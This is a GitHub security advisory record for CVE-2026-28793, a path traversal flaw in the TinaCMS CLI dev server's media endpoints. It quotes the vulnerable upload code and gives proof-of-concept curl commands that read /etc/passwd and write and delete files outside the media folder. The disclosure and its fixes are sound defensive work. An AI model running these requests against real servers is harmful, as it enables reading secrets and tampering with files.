{"id":"GHSA-2f24-mg4x-534q","summary":"TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete","details":"## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) =\u003e {\n      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n      await fs.ensureDir(path.dirname(saveTo));\n      file.pipe(fs.createWriteStream(saveTo));\n    });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n\u003cimg width=\"889\" height=\"280\" alt=\"image(1)\" src=\"https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0\" /\u003e\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" \u003e /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n  \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n  -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n\u003cimg width=\"1320\" height=\"84\" alt=\"image(8)\" src=\"https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c\" /\u003e\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" \u003e /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n\u003cimg width=\"1135\" height=\"105\" alt=\"image\" src=\"https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca\" /\u003e\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints","aliases":["CVE-2026-28793"],"modified":"2026-03-14T07:11:20.850766Z","published":"2026-03-12T20:32:26Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-12T20:32:26Z","nvd_published_at":"2026-03-12T17:16:50Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28793"},{"type":"PACKAGE","url":"https://github.com/tinacms/tinacms"}],"affected":[{"package":{"name":"@tinacms/cli","ecosystem":"npm","purl":"pkg:npm/%40tinacms/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-2f24-mg4x-534q/GHSA-2f24-mg4x-534q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}